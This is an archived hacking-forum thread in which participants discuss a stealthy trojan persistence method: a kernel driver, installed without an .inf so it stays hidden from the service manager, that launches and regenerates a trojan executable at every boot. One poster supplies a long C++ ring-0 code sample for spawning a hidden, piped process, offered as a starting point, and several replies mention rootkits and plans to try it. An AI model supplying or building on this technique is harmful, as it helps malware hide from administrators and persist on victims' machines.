hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: New Method Of Startup
tibbar
Hi,

A new (?) method of starting an executable file on bootup occured to me the other day...

It is reasonably easy to create a driver (.sys) that will load an executable in userland.

The .sys driver can be loaded using createservice api, and will NOT be visible in the service manager or in the control panel (since it did not use an .inf to install).

So, for the average admin this would be very hard to notice.

Also, you could do worse things, like keep a binary string of the executable embedded in the driver, and test for it's existance on each bootup, and recreate it if necessary.

I have no idea if anyone has actually done this, but it is perfectly achievable for a reasonably skilled programmer (which there are many of in the trojan world).

I won't provide POC for this, as it will only encourage use of the technique.

Cheer,

Tibbar.
nackas
I'm quite sure that windows rootkits use this method (correct me if I'm wrong). But thanks for the info, I may look deeper into this.
niko.noname
Just look for


CODE

                          ==Phrack Inc.==

             Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10


|=---------=[  NTIllusion: A portable Win32 userland rootkit  ]=--------=|
|=----------------------------------------------------------------------=|
|=------------------=[  Kdm <Kodmaker@syshell.org>  ]=------------------=|
...

Paul
QUOTE (niko.noname @ Sep 2 2004, 08:21 AM)
Just look for


CODE

                          ==Phrack Inc.==

             Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10


|=---------=[  NTIllusion: A portable Win32 userland rootkit  ]=--------=|
|=----------------------------------------------------------------------=|
|=------------------=[  Kdm <Kodmaker@syshell.org>  ]=------------------=|
...
tibbar
NTIllusion is a userland rootkit, which doesn't use drivers - N.B. drivers work in the kernel not userland!

i was not implying using a rootkit.

What i am saying is that you can make a driver (a .sys), then register this using the service manager.

Now your driver will use the native NT api function ZwCreateProcess(...) to start the trojan app on startup.

If you are very clever, then you could use ZwCreateFile / ZwWriteFile to regenerate the .exe from an embedded hex dump of the file (as described in the forum before for userland apps).

It's not really that hard to do, but you need to be proficient with drivers first.
shiz
hxdef does this...
ohmy.gif
tibbar
no it doesn't. the driver used in hxdef is purely for process creation notification (if i remember correctly). hxdef uses userland hooking (the trampolene method).

...looking at driver.c from hxdef, it is used for process impersonation and process information.

Vort3x
Well, if a trojan was to incorporate this as a startup method the user that that opens this program with this startup method would have to have Admin privelages for it to work right? So a startup method like this would be quite useless on personal computers(Just saying IF someone made this a part of a trojan).
tibbar
well first of all, most people are running with adminstrator priviledges on their home pc.

if not, you could probably still install the service by getting debug privledges using a trick with tokens (ive not checked this point, but i think it would work).

thinking a bit harder, to install a driver (to run on next reboot) you only need registry access, and most users have this.
Flowby
kick ass idea m8..a way to go! wink.gif
chris105
Flowby nice site, what happened to that other open source trojan site ?
Tyrano
http://www.blackhat.com/presentations/bh-e...delyi-paper.pdf

maybe some useful info here? ;D
Marticj
Deffently gona give this one a go biggrin.gif

Cheers
tibbar
Here's a sample code on executing a process from ring 0. You can use this as a starting point (taken from Nebbet's book).


#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}

namespace NT {

typedef struct _CSRSS_MESSAGE{
ULONG Unknwon1;
ULONG Opcode;
ULONG Status;
ULONG Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;

}

DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)

//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
static PVOID pNTDLL;
if (!pNTDLL)
{
pNTDLL=FindNT();
DYNAMIC_LOAD2(CsrClientCallServer)
DYNAMIC_LOAD2(RtlDestroyProcessParameters)
DYNAMIC_LOAD2(ZwWriteVirtualMemory)
DYNAMIC_LOAD2(ZwResumeThread)
DYNAMIC_LOAD2(ZwCreateThread)
DYNAMIC_LOAD2(ZwProtectVirtualMemory)
DYNAMIC_LOAD2(ZwCreateProcess)
DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
DYNAMIC_LOAD2(ZwReadVirtualMemory)
DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
DYNAMIC_LOAD2(LdrGetDllHandle)
}
}

//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
// _asm int 3;
struct CSRSS_MESSAGE {
ULONG Unknown1;
ULONG Opcode;
ULONG Status;
ULONG Unknown2;
};

struct {
NT::PORT_MESSAGE PortMessage;
CSRSS_MESSAGE CsrssMessage;
PROCESS_INFORMATION ProcessInformation;
NT::CLIENT_ID Debugger;
ULONG CreationFlags;
ULONG VdmInfo[2];
} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};

CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}

//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
PVOID p=0;
DWORD dummy=0;
DWORD n=sizeof(dummy);
DWORD m;
m=n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
return PWSTR(p);
}

// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
NT::PUNICODE_STRING ImageFile,
NT::PUNICODE_STRING DllPath,
NT::PUNICODE_STRING CurrentDirectory,
NT::PUNICODE_STRING CommandLine,
ULONG CreationFlag,
NT::PUNICODE_STRING WindowTitle,
NT::PUNICODE_STRING Desktop,
NT::PUNICODE_STRING Reserved,
NT::PUNICODE_STRING Reserved2){

NT::PROCESS_PARAMETERS* lpp;

ULONG Size=sizeof(NT::PROCESS_PARAMETERS);
if(ImageFile) Size+=ImageFile->MaximumLength;
if(DllPath) Size+=DllPath->MaximumLength;
if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
if(CommandLine) Size+=CommandLine->MaximumLength;
if(WindowTitle) Size+=WindowTitle->MaximumLength;
if(Desktop) Size+=Desktop->MaximumLength;
if(Reserved) Size+=Reserved->MaximumLength;
if(Reserved2) Size+=Reserved2->MaximumLength;

//Allocate the buffer..
*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
lpp=*pp;
RtlZeroMemory(lpp,Size);

lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
lpp->hStdInput=0;
lpp->hStdOutput=0;
lpp->hStdError=0;
if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength;
}
if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength;
}
if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength;
}
if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength;
}
if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength;
}
if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength;
}
if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength;
}
/* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength;
}*/
}

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
NT::PPROCESS_PARAMETERS pp;
NT::UNICODE_STRING CurrentDirectory;
NT::UNICODE_STRING DllPath;

NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");



RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);

pp->hStdInput=hPipe;
pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;

pp->Environment = InitEnvironment(hProcess);

ULONG n = pp->Size;
PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);

ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);

ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);

RtlDestroyProcessParameters(pp);
}

namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}

NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
//_asm int 3;
SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID};
SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
char daclbuf[PAGE_SIZE];
NT::PACL dacl = (NT::PACL)&daclbuf;
char sdbuf[PAGE_SIZE];
NT::PSECURITY_DESCRIPTOR sd = &sdbuf;

NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(sd, PAGE_SIZE);
status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
if (!NT_SUCCESS(status)) return status;
status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
if (!NT_SUCCESS(status)) return status;
if (!NT::RtlValidSecurityDescriptor(sd)) {
_asm int 3;
}

//To try!
ULONG buflen = PAGE_SIZE*2;
*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}

#define PIPE_NAME_MAX 40*2

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
NT::IO_STATUS_BLOCK iosb;

NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
NT::LARGE_INTEGER nTimeOut;
nTimeOut.QuadPart = (__int64)-1E7;
return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);
}

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
HANDLE hProcess, hThread, hSection, hFile;

//_asm int 3;

NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
NT::IO_STATUS_BLOCK iosb;
NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

oa.ObjectName = 0;

NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
PAGE_EXECUTE, SEC_IMAGE, hFile);

NT::ZwClose(hFile);

ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
NtCurrentProcess(), TRUE, hSection, 0, 0);

NT::SECTION_IMAGE_INFORMATION sii;
NT::ZwQuerySection(hSection, NT::SectionImageInformation,
&sii, sizeof sii, 0);

NT::ZwClose(hSection);

NT::USER_STACK stack = {0};

ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);

stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ sii.StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- sii.StackCommit;

/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
n = sii.StackCommit + PAGE_SIZE;
PVOID p = PCHAR(stack.ExpandableStackBase) - n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);

NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(sii.EntryPoint);

NT::CLIENT_ID cid;

ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
hProcess, &cid, &context, &stack, TRUE);

NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);

HANDLE hPipe,hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

InformCsrss(hProcess, hThread,
ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));

ZwResumeThread(hThread, 0);

NT::ZwClose(hProcess);
NT::ZwClose(hThread);

return int(cid.UniqueProcess);
}

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
NT::UNICODE_STRING ImageFile;
NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
return exec_piped(&ImageFile, PipeName);
}
Yorn
I wish I knew the first thing about driver creation. I can make an EXE to do whatever I want, but as far as using drivers to essentially make it a "rootkit" I'm clueless.
ScriptGod
QUOTE (Yorn @ Sep 15 2004, 07:06 PM)
I wish I knew the first thing about driver creation. I can make an EXE to do whatever I want, but as far as using drivers to essentially make it a "rootkit" I'm clueless.

No, you have to make ".sys" files. Normally you install those "drivers" as a system service. Then you can run somethink in ring0 and have access to all things of the system.
The first thing you need is the Windows DDK. You will find tutorials etc. in kernel mode rootkits in google smile.gif But it's not as easy as to write a user mode rootkit. And many things of the Windows internal system are unknown.

BTW: This technic decripted in phrack62 works only under Win2k. I tried this also under WinXP but it doesn't work. Therefore you this needs more research.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.